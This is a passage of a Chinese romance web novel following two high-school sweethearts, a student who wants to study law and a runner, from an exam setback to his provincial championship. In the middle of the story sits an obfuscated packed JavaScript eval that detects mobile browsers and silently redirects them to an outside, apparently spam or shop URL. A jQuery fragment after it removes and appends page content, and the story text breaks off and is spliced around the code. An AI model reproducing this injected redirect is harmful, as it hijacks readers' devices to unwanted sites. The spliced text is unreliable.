学校进行了常规摸底考试，这一次她考试考砸了。
数学只考了78分，全班倒数。
她趴在桌上，不想说话。
付博站在门口，等了好久，没见她出来。
他走进教室，看见她趴在桌上。
“怎么了？”
她不说话。
他在她旁边坐下，也不说话，就那么陪着她。
过了很久，她抬起头。
“我考砸了。”
“考了多少？”
“78。”
他愣了一下。
“78还叫考砸？”
“我们班平均分92。”
他沉默了。
然后他说：“我不懂你们那些。但我懂跑步。有时候训练，跑不动了，教练说再跑一圈。我觉得我死都跑不动了。但跑完那一圈，好像也没死。”
许清看着他。
“所以呢？”
“所以下次再考好就行了。反正又不会死。”
她被他逗笑了。
“你这什么逻辑？”
“体育生的逻辑。”
她笑着笑着，眼泪就下来了。
他慌了。
“你怎么哭了？我说错话了？”
她摇头。
“不是。我就是……谢谢你。”
他挠挠头。
“谢啥，我又没干啥。”
“你陪我了。”
他看着她，眼睛亮亮的。
“那我以后天天陪你。”
那天晚上，他们又走了那条坡道。
走得很慢。
路灯把他们的影子拉得很长，交叠在一起。
走到宿舍楼下，她停下来。
“付博。”
“嗯？”
“你以后想干什么？”
他想了想。
“当运动员吧。跑步那种。”
“能跑到奥运会吗？”
他笑了。
“不知道。但我可以试试。”
她看着他，看着他亮亮的眼睛。
“那我等着看。”
“你呢？”
“我想考个好大学，学法律。”
“法律？”
“嗯。当律师。”
他点点头。
“那你也试试。”
“好。”
他们站在那儿，看着对方。
晚风吹过来，带着桂花香。
他突然伸出手，轻轻握了一下她的手。
就一下。
然后松开。
“你进去吧。”
她低下头，脸红了。
“嗯。”
她转身往宿舍走。
走了几步，又回头。
他还站在那儿，看着她。
她笑了，挥挥手。
他也挥挥手。
那天晚上，她躺在床上，一直在想刚才那只手。
很热，很大，很粗糙。
那是体育生的手。
也是她的男孩的手。
高一下学期，文理分科。
许清选了文科。付博还是体育班。
分科之后，他们不在同一栋楼了。她在东楼，他在西楼，中间隔着一个操场。
但每天晚上，他还是会来。
穿过操场，走过长长的路，站在她教室门口等她。
有时候来得早，就在操场边上的台阶坐着等。
她下课出来，远远就看见他坐在那儿，像一块石头。
“你怎么不进去等？”
“怕影响你们班人学习。”
“那你坐这儿不无聊吗？”
“不无聊。我数星星。”
她抬头看天。
城市的光太亮，根本看不见星星。
“哪有星星？”
他指着天空。
“那儿。那颗最亮的，是北极星。旁边那几颗，是大熊座。”
她惊讶地看着他。
“你还懂这个？”
“训练的时候学的。晚上跑圈，没事就抬头看。”
她笑了。
“你还挺浪漫。”
他挠挠头。
“啥叫浪漫？”
“就是……就是现在这样。”
他不懂，但他笑了。
因为他看见她笑了。
有一次，她月考考了全班第一。
她跑去找他。
他在操场训练，跑得满头大汗。
看见她来，他停下来，跑过来。
“怎么了？”
“我考了第一！”
他愣了一下，然后笑了。
笑得比她还开心。
“真的？”
“嗯！”
他突然抱起她，转了一圈。
周围的人都看过来了。
她脸红得不行，拍他的肩膀。
“放我下来！”
他把她放下，还是笑。
“我就知道你行。”
她看着他，看着他满头的汗，看着他亮亮的眼睛。
“你怎么比我还高兴？”
“因为你高兴。”
她愣住了。
然后她踮起脚，在他脸上飞快地亲了一下。
他愣住了。
她转身就跑。
跑出操场，跑过教学楼，跑回教室。
一路上心都在狂跳。
她不知道自己怎么有勇气做那种事。
但那一刻，她就是忍不住。
晚上，他来接她。
走在坡道上，他一路都没说话。
她也不敢说话。
走到宿舍楼下，他停下来。
“许清。”
她低着头。
“嗯？”
“刚才那个……”
她心跳加速。
“怎么了？”
“我……我还能再要一次吗？”
她抬起头，看着他。
他脸红了，耳朵红了，脖子都红了。
但她看见他眼睛里的期待。
她踮起脚，又亲了他一下。
这回是嘴唇。
很轻，很快。
像蜻蜓点水。
然后她又跑了。
跑进宿舍楼，跑上楼梯，跑进宿舍。
趴在床上，心跳得像要蹦出来。
手机震了。
付博：我今晚睡不着了。
她看着这行字，笑得像个傻子。
许清：我也是。
付博：那我们一起睡不着。
许清：你是不是傻？
付博：嗯。傻你的。
她把这行字看了三遍。
然后抱着手机，睡着了。
梦里还是那条坡道。
很长很长。
走不完。
高二的时候，他开始参加比赛了。
市里的比赛，省里的比赛，一场接一场。
他跑得越来越好，拿的奖越来越多。
但她见他的时间越来越少。
训练时间变长了，比赛变多了，能见面的时间变少了。
有时候一周都见不上一面。
只能发消息。
付博：我今天跑了个第一。
许清：真的？太厉害了！
付博：教练说，再练练，明年能冲省冠军。
许清：你一定可以的。
付博：嗯。等我拿了冠军，请你吃好的。
许清：吃啥？
付博：你想吃啥就吃啥。
许清：那我要吃火锅。
付博：好。吃十顿。
她看着手机，笑了。
笑着笑着，又有点想哭。
因为她想他了。
真的很想。
有一天，她实在忍不住了，去操场找他。
他在训练，跑了一圈又一圈。
她坐在看台上，看着他跑。
他跑过她面前的时候，朝她挥挥手。
她朝他挥挥手。
他又跑远了。
跑了一圈，又回来，又挥手。
她又挥。
就这样，他跑了十圈，她挥了十次手。
训练结束，他跑过来，满头大汗。
“你怎么来了？”
“想你了。”
他愣住了。
然后他笑了，笑得眼睛都眯起来了。
“我也想你了。”
她递给他一瓶水。
他接过来，咕咚咕咚喝了半瓶。
“你跑得真快。”她说。
“还行吧。”
“我刚才数了，你跑十圈，我挥十次手。你每次跑过来都看我一眼。”
他挠挠头。
“不看你看谁。”
她心里暖暖的。
“你训练这么累，还想着看我？”
“累是累。但看见你，就不累了。”
她低下头，脸红了。
他又喝了一口水。
“许清。”
“嗯？”
“等我拿了省冠军，我给你买个戒指。”
她抬起头，看着他。
“什么戒指？”
“就是那种……那种你们女生戴的。”
她笑了。
“你懂女生戴什么吗？”
“不懂。但我可以学。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347251|199532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她看着他，看着他认真的样子。
“好。我等着。”
那天晚上，她回到宿舍，躺在床上，一直在想他的话。
戒指。
他说的戒指，是什么意思？
她不知道。
但她心里甜甜的。
高二下学期，他真的拿了省冠军。
男子八百米，第一名。
他打电话给她的时候，声音都在抖。
“许清！我拿了第一！”
“真的？”
“嗯！全省第一！”
她开心得跳起来。
“太棒了！你太厉害了！”
电话那头，他在笑。
笑得很开心。
“我明天回来。”
“好。我去接你。”
挂了电话，她在宿舍里转了好几圈。
室友问她怎么了。
她说：“付博拿了省冠军！”
室友也替她高兴。
“那你得好好庆祝一下啊。”
“嗯！”
第二天，她去车站接他。
他下车的时候，她差点没认出来。
黑了，瘦了，但眼睛更亮了。
看见她，他跑过来。
“许清！”
她看着他，眼眶有点红。
“你瘦了。”
“比赛嘛，正常。”
她从包里掏出一个东西，递给他。
“给你。”
他接过来一看，是一个钥匙扣。
小小的，上面刻着一个“博”字。
“我自己做的。”她说，“刻了好久。”
他看着那个钥匙扣，看着那个歪歪扭扭的字。
“你刻的？”
“嗯。不好看吗？”
他摇头。
“好看。很好看。”
他把钥匙扣攥在手心里。
“我会一直带着。”
她笑了。
他们并肩走出车站。
外面阳光很好。
他走在她左边，靠近马路的那边。
她问：“你怎么总走这边？”
他说：“这样车来了先撞我。”
她愣住了。
然后笑了。
笑着笑着，眼泪就下来了。
“你是不是傻？”
他看着她，擦掉她的眼泪。
“嗯。傻你的。”
高二那年暑假，他们一起去看电影。
《你的名字。》
她看哭了。
他看得一脸懵。
“你哭啥？”
“你不觉得感人吗？”
“还好吧。就是他俩老换身体，换得我有点晕。”
她被他逗笑了。
“你这人怎么这么直？”
“体育生嘛。”
她靠在他肩膀上。
“付博。”
“嗯？”
“以后我们也会像他们那样吗？”
他想了想。
“不知道。但我不会忘记你。”
她抬起头，看着他。
“真的？”
“嗯。我记性好。”
她笑了。
“你记性好？你连自己手机号都记不住。”
“那是数字。你不一样。”
“我怎么不一样？”
他看着她的眼睛。
“你是许清。”
她愣住了。
然后低下头，脸红了。
电影散场，他们走在路上。
晚风吹过来，很凉快。
他突然说：“许清，等我以后有钱了，我带你去日本。”
“干嘛？”
“看那个……那个你刚才哭的地方。”
她笑了。
“那是动画，不是真的。”
“那也去看。反正有雪。”
她看着他，看着他认真的样子。
“好。我等着。”
高三来了。
压力一下子大起来。
许清每天埋在书堆里，做不完的题，考不完的试。
付博也是。
训练更狠了，比赛更多了，能见面的时间更少了。
有时候一个月都见不上一面。
但还是发消息。
付博：今天跑了多少？
许清：不知道，反正很多。你呢？
付博：十公里。
许清：那么多？
付博：还好。习惯了。
许清：累不累？
付博：累。但想到你，就不累了。
她看着这行字，心里酸酸甜甜的。